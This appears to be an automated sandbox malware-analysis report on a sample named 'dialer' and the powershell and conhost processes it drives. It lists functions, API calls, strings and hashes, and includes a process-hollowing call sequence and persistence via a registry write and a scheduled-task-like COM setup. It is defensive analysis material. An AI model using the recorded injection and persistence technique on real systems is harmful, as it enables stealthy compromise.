SysAllocString.OLEAUT32 ref: 00000001400011A7
SysAllocString.OLEAUT32 ref: 00000001400011B7
SysAllocString.OLEAUT32 ref: 00000001400011C7
SysAllocString.OLEAUT32 ref: 00000001400011D3
SysAllocString.OLEAUT32 ref: 00000001400011E3
SysAllocString.OLEAUT32 ref: 00000001400011F3
CoInitializeEx.COMBASE ref: 0000000140001200
CoInitializeSecurity.COMBASE ref: 0000000140001237
CoCreateInstance.COMBASE ref: 0000000140001279
VariantInit.OLEAUT32 ref: 000000014000128B
VariantInit.OLEAUT32 ref: 000000014000148D
VariantInit.OLEAUT32 ref: 0000000140001497
VariantInit.OLEAUT32 ref: 00000001400014AE
CoUninitialize.COMBASE ref: 00000001400015BA
SysFreeString.OLEAUT32 ref: 00000001400015C3
SysFreeString.OLEAUT32 ref: 00000001400015CC
SysFreeString.OLEAUT32 ref: 00000001400015D5
SysFreeString.OLEAUT32 ref: 00000001400015DE
SysFreeString.OLEAUT32 ref: 00000001400015E7
SysFreeString.OLEAUT32 ref: 00000001400015F0

Strings

SYSTEM, xrefs: 00000001400011E9
powershell, xrefs: 00000001400011BD
dialersvc64, xrefs: 000000014000118D

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFree$InitVariant$Initialize$CreateInstanceSecurityUninitialize
String ID: SYSTEM$dialersvc64$powershell
API String ID: 3960698109-174983134
Opcode ID: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction ID: aee36af91c86c83140a7f8fc7c4422115872d8a4c3e6ef38ff6a7da2a4766896
Opcode Fuzzy Hash: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction Fuzzy Hash: 2DD1DE76604B8586EB11CF6AE8843DE67B1FB88B99F508116EF4E47B68DF39C149C700

Function 00000001400017EC Relevance: 13.6, APIs: 9, Instructions: 100
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0000000140001802
SysAllocString.OLEAUT32 ref: 0000000140001812
CoInitializeEx.COMBASE ref: 000000014000181F
CoInitializeSecurity.COMBASE ref: 0000000140001856
CoCreateInstance.COMBASE ref: 0000000140001896
VariantInit.OLEAUT32 ref: 00000001400018A8
CoUninitialize.COMBASE ref: 0000000140001942
SysFreeString.OLEAUT32 ref: 000000014000194B
SysFreeString.OLEAUT32 ref: 0000000140001954

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction ID: 67cbc857c72eec62a5b69ac69888ab56890e3342390bd1f27bc6256027a28dd6
Opcode Fuzzy Hash: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction Fuzzy Hash: 5E413972704A458AEB11CF7AE8543DD73B1FB89B99F449226AF4A47A69DF38C149C300

Function 0000000140001C0C Relevance: 3.8, APIs: 3, Instructions: 40
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 0000000140001C31
StrStrIW.SHLWAPI ref: 0000000140001C4F
StrStrIW.SHLWAPI ref: 0000000140001C71

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction ID: 09bf7b72404f13f14ced639d6c0c6f67ee10a0461fa6ddbcf4aeef183f1f47ff
Opcode Fuzzy Hash: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction Fuzzy Hash: 9B0116B6344B8185EA66CF13A804BA963AAF78CFC0F598131AE4D83765DF38D946C740

Function 0000000140001970 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001984: FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
Part of subcall function 0000000140001984: SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
Part of subcall function 0000000140001984: LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
Part of subcall function 0000000140001984: LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
Part of subcall function 0000000140001984: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
Part of subcall function 0000000140001984: RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

ExitProcess.KERNEL32 ref: 000000014000197B

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: Resource$ExitFindLoadLockOpenProcessSizeofValue
String ID:
API String ID: 3836967525-0
Opcode ID: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction ID: 591ae2b672e41714171671f8838f177bfce947d6885aae7fa81f753db4d17b5a
Opcode Fuzzy Hash: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction Fuzzy Hash: 71A011B0A00A8082EA0ABBB2282A3E802200B88380F000000A202032A2CC38008A8A00

Non-executed Functions

Function 000000014000114C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140001157
GetProcAddress.KERNEL32 ref: 000000014000116E

Strings

ntdll.dll, xrefs: 0000000140001150
RtlGetVersion, xrefs: 0000000140001167

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction ID: 59613ef8418529ec4bc26aae3d36b02baf67a4f8cd1ada14fad478f70e9913c3
Opcode Fuzzy Hash: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction Fuzzy Hash: 8CD0E9F5622A01E1EA0BEB57FC553D512617B5C781F804521E70A43671EF3C8659C700

Analysis Process: powershell.exePID: 8168, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.1%
Total number of Nodes:	126
Total number of Limit Nodes:	2

Executed Functions

Function 00007FFD9B8AF63E Relevance: 3.2, Strings: 2, Instructions: 731
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00007FFD9B8AFA0B
@, xrefs: 00007FFD9B8AF935

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: ($@
API String ID: 0-1311469180
Opcode ID: 240e18dd340719dd5743e3a055f3b553731c62f54a0231ad009cfdce4d21ce0e
Instruction ID: 0957493236c6543fac53c74e23f2f36634a0a8e3760e971f3fa666138ff12b92
Opcode Fuzzy Hash: 240e18dd340719dd5743e3a055f3b553731c62f54a0231ad009cfdce4d21ce0e
Instruction Fuzzy Hash: BD32E530F19A4D4BEB68EBA888667FD73E1FF98300F51017AD44ED36D6DE2869418781

Function 00007FFD9B8AF659 Relevance: 3.1, Strings: 2, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00007FFD9B8AFA0B
@, xrefs: 00007FFD9B8AF935

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: ($@
API String ID: 0-1311469180
Opcode ID: ced20436940b4a3cbc61d766e2563bd523ab058f388d7c5809258528da5d038d
Instruction ID: 3bc4683d4aa383c45c6fc3347170dd098369b6290aad2d8e446b72a7b41136ed
Opcode Fuzzy Hash: ced20436940b4a3cbc61d766e2563bd523ab058f388d7c5809258528da5d038d
Instruction Fuzzy Hash: 5C02B130A0864D4BEB68EFA88861BFD77E2FF58300F11417ED44ED3696DE38A9418B51

Function 00007FFD9B8AFDE9 Relevance: 3.0, Strings: 2, Instructions: 512
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00007FFD9B8AFA0B
@, xrefs: 00007FFD9B8AF935

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: ($@
API String ID: 0-1311469180
Opcode ID: 0c2911d09444e4eeb05f7e527314d4d8a9894db8dbd21f4b28a207f527ef36ef
Instruction ID: 5d5d3882317e053f90ca744beca4d9ca6bcd05d947afb0ef2e92dd18dbcbad03
Opcode Fuzzy Hash: 0c2911d09444e4eeb05f7e527314d4d8a9894db8dbd21f4b28a207f527ef36ef
Instruction Fuzzy Hash: B3029F30B0864D4BEB68EFA8C4A1BBD73E2FF98304F114179D44ED3696DE38A9418B51

Function 00007FFD9B8ADF98 Relevance: 1.7, APIs: 1, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b9a10355d0b3120ede95df161664e8189e4c1c8f98931b03c817d2177be05a
Instruction ID: 8cf4d529516f007a0e07a1c688a4c80e8ae75ae2c50166628a1c7c8374c51d50
Opcode Fuzzy Hash: 05b9a10355d0b3120ede95df161664e8189e4c1c8f98931b03c817d2177be05a
Instruction Fuzzy Hash: 2E516B72A0E7DC4FDB16DBA858696E63FA0EF97210F0941FFC089C70A3E9545906C391

Function 00007FFD9B8B0C5D Relevance: 1.6, APIs: 1, Instructions: 130
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL ref: 00007FFD9B8B0D27

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 1cd7b217857121db9bf73fdfdcd0e56c0410441445e9e9caa59a1e29196587ce
Instruction ID: e616fbb69b8d673e337add91f0c875ac2fbad7786dfc70a5261058a0b192fc72
Opcode Fuzzy Hash: 1cd7b217857121db9bf73fdfdcd0e56c0410441445e9e9caa59a1e29196587ce
Instruction Fuzzy Hash: 4D31D33191CB5C8FDB18DF58D885AE9BBE0FF5A321F04426ED049D3692CB70A806CB81

Function 00007FFD9B8AE078 Relevance: 1.6, APIs: 1, Instructions: 122
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8B0AFB

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 5b7631f425297cdf70ab2d07af0f796cd12b59449e4ff3fa7d46f6eab53e8ee8
Instruction ID: 9eb818b10a3630f4528555fc0a4000c105797494c8ee7870a23b4c8c1a5ee69e
Opcode Fuzzy Hash: 5b7631f425297cdf70ab2d07af0f796cd12b59449e4ff3fa7d46f6eab53e8ee8
Instruction Fuzzy Hash: 68314672A0DB4C8FEB58CB98D8497A97BE0FBA9320F04416BD049C71A2E670A945C751

Function 00007FFD9B8B0A3E Relevance: 1.6, APIs: 1, Instructions: 117
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8B0AFB

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: c628d6fd3c5aa4c9c370e4f2c7c4cedc9ff61277e91eadbe2f06d47151639415
Instruction ID: 7c54ebf833af039c9f53652bd74b4c3a58405f954e25e3c5345e7483cc0a6097
Opcode Fuzzy Hash: c628d6fd3c5aa4c9c370e4f2c7c4cedc9ff61277e91eadbe2f06d47151639415
Instruction Fuzzy Hash: CC31073050D7888FDB5ADBA8CC557A97FE0EF56320F04429BD049C71A3D664A446CB92

Function 00007FFD9B8B0FE4 Relevance: 1.6, APIs: 1, Instructions: 115
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 00007FFD9B8B1095

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d7e84ab42f08bccfaa7c26eaa299c0d439232ed62c1a87a6e67b8417ecf1d962
Instruction ID: e8a2ba6e9b08658fc3bea502c9ff217ea57b99100d3471f53e0bd10c6d3c3899
Opcode Fuzzy Hash: d7e84ab42f08bccfaa7c26eaa299c0d439232ed62c1a87a6e67b8417ecf1d962
Instruction Fuzzy Hash: 52312830A0C64C8FDB58DF9CD845BE9BBE1EF5A320F04416BD049C7292DB70A842CB91

Function 00007FFD9B8B0F20 Relevance: 1.6, APIs: 1, Instructions: 98
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL ref: 00007FFD9B8B0FAB

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: a99dd98540d280b70b219f943858c299ee51a6111ead28e815c656323466fe58
Instruction ID: 2e6ef34310ec199f186715fa25ae3b56e624f801d474fa987ad3a092ba866d5e
Opcode Fuzzy Hash: a99dd98540d280b70b219f943858c299ee51a6111ead28e815c656323466fe58
Instruction Fuzzy Hash: 4D219131A0CB4C8FDB58DF98D846BE97BF0EB5A320F04416FD049C7256D674A856CB91

Function 00007FFD9B8ADCD3 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd867a7ffd8d826bc3ad51c78291f1a21242d69eddc3ad7553be11ed2516d461
Instruction ID: 574616ff617c990fcf175933e0abe552e1446f37db422eef747ba38ad9f51036
Opcode Fuzzy Hash: cd867a7ffd8d826bc3ad51c78291f1a21242d69eddc3ad7553be11ed2516d461
Instruction Fuzzy Hash: F1713821F0DA4D0EE729A7A848252FE77E1EF89300F56453ED09EC31E7ED29A9024352

Function 00007FFD9B8ADD58 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3408b4e5882b44d0abbf1281f2ee304ea06a46e73d26eaed76b75f82de6345
Instruction ID: c5e88f9cbed28643348f1573172c28e01deef98540dd202d8c849d0a782d94f2
Opcode Fuzzy Hash: 4e3408b4e5882b44d0abbf1281f2ee304ea06a46e73d26eaed76b75f82de6345
Instruction Fuzzy Hash: CB71D931F1D90D4AE72CABA858626FE72D2EF9C305F51453DD45FC35DAED28A9024282

Function 00007FFD9B8AE329 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b986a733e0f44b48b086973fb5f7eb90985f625b253dd8692c2579ccf889a391
Instruction ID: 8c1b76da22c236d971837def0b1ce38696c010034894626a6b0d3670c720b94a
Opcode Fuzzy Hash: b986a733e0f44b48b086973fb5f7eb90985f625b253dd8692c2579ccf889a391
Instruction Fuzzy Hash: AB612831F0DA0D0AE76CABA858222FE73D2EF88315F51453ED45FC35E6ED29A9034252

Function 00007FFD9B8B0221 Relevance: 2.4, APIs: 1, Instructions: 897
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFD9B8B093D

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6257ebf1181c19f11cea7f523e81e267bf7a48be6a2dccbb244d326b14dfe1d8
Instruction ID: 40610f5da7b392c08fa20d730cf6bf18477b02c7e0046f80a0a53895fa88491a
Opcode Fuzzy Hash: 6257ebf1181c19f11cea7f523e81e267bf7a48be6a2dccbb244d326b14dfe1d8
Instruction Fuzzy Hash: 08D14530A19B8D8FEB64DF68CC567E977E0FF59310F01426AD84DC7292DA34A9458BC2

Function 00007FFD9B8AEAFA Relevance: 1.7, APIs: 1, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFD9B8AECA6

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 0142ca6e13d5b59f89199da0685bda72f0c5a50181f07c6fa604adb0628e125e
Instruction ID: 8608a86a17b2dc0420d8203c0d23d0115c7c5dbe054e48a7457cecadd118819f
Opcode Fuzzy Hash: 0142ca6e13d5b59f89199da0685bda72f0c5a50181f07c6fa604adb0628e125e
Instruction Fuzzy Hash: F071173060CB8D4FDB69DF68C8557E43BE1FF59311F1442AAE84DC72A2DA74E8418B92

Function 00007FFD9B8AE8AC Relevance: 1.7, APIs: 1, Instructions: 227
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00007FFD9B8AEA39

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5d2aaadcfbf7bed7488837038e5e7fe367fb4b7def2474f875ef0d9cb048d716
Instruction ID: f7fa26eda4a65b94d916b46a3e5e018f83bd294d582d68f78acdf80fbce57758
Opcode Fuzzy Hash: 5d2aaadcfbf7bed7488837038e5e7fe367fb4b7def2474f875ef0d9cb048d716
Instruction Fuzzy Hash: 5861E830918B8D8FEB68DF58C8557E437E0FF59311F14427AE84DC7292DA74E9418B91

Function 00007FFD9B8AED66 Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE ref: 00007FFD9B8AEE43

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 2ce88bbfc47cdf0195d36a6c257645c301ae720685f249722fc3820e0de2beb1
Instruction ID: 8bfdbb5f966ecbb7ec88250ae8b6646f9ab71172c5f5a72f8a55ac203d249197
Opcode Fuzzy Hash: 2ce88bbfc47cdf0195d36a6c257645c301ae720685f249722fc3820e0de2beb1
Instruction Fuzzy Hash: 4A41283190CA889FDB19DBA8D8066E87BF0FF5A321F14026ED089C31A2CB646852C791

Function 00007FFD9B8AE7A8 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00007FFD9B8AE862

Memory Dump Source

Source File: 0000001C.00000002.1908836581.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 5e106f72d836d01dbed32f4eaaac85659e73fd1939fa31352c63372dbdf9f4bf
Instruction ID: 2a5f633fa1954ef3de621ad6af8479464c5def06d95f382ffdaf73888214d0ea
Opcode Fuzzy Hash: 5e106f72d836d01dbed32f4eaaac85659e73fd1939fa31352c63372dbdf9f4bf
Instruction Fuzzy Hash: D2312430A0CA4C8FDB1CDBAC98456F9BBE1EF59321F00426FD049C3292DB74A8468B81

Function 00007FFD9BB456CC Relevance: .9, Instructions: 939
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.1944302520.00007FFD9BB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9bb40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d915adafcaea91732edb89a501f30e248d9a4e19b717363bafcf9bae59a9c588
Instruction ID: 99893f5937beaf0857bb17654786570c89687423814fb5e98545489f4e46d95f
Opcode Fuzzy Hash: d915adafcaea91732edb89a501f30e248d9a4e19b717363bafcf9bae59a9c588
Instruction Fuzzy Hash: F6427922B0EF8D0FEBA69A6858645B57BE2FF56214B0901FBD44CC71E3EE18AD05C351

Function 00007FFD9B972871 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1912877628.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f4ddefec7e1a7b386adb115be32188378721e1a76de934bbd9f52528f5bb91
Instruction ID: cb77e874ce6a89883b4b21bac97cd184898fb180d0907eccd11804a292bfab8f
Opcode Fuzzy Hash: a2f4ddefec7e1a7b386adb115be32188378721e1a76de934bbd9f52528f5bb91
Instruction Fuzzy Hash: 5121F252F2FBCA1FE3A597A828A41A477C1EF66360B1901FAD46DCB2E7ED195C058301

Analysis Process: conhost.exePID: 6992, Parent PID: 8168COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	1428
Total number of Limit Nodes:	1

Executed Functions

Function 000002408A293620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002408A293639
PathFindFileNameW.SHLWAPI ref: 000002408A293648

Part of subcall function 000002408A293C74: StrCmpNIW.SHLWAPI(?,?,?,000002408A29254B), ref: 000002408A293C8C

Part of subcall function 000002408A293BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293BCE
Part of subcall function 000002408A293BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293BFC
Part of subcall function 000002408A293BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293C1E
Part of subcall function 000002408A293BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293C39
Part of subcall function 000002408A293BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293C5A

CreateThread.KERNELBASE ref: 000002408A29368F

Part of subcall function 000002408A291D40: GetCurrentThread.KERNEL32 ref: 000002408A291D4B

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: cffadbf7a1aeeb9ad8b150fc44a44c88a665792fad7b04cfd1a9a9a35c9222a9
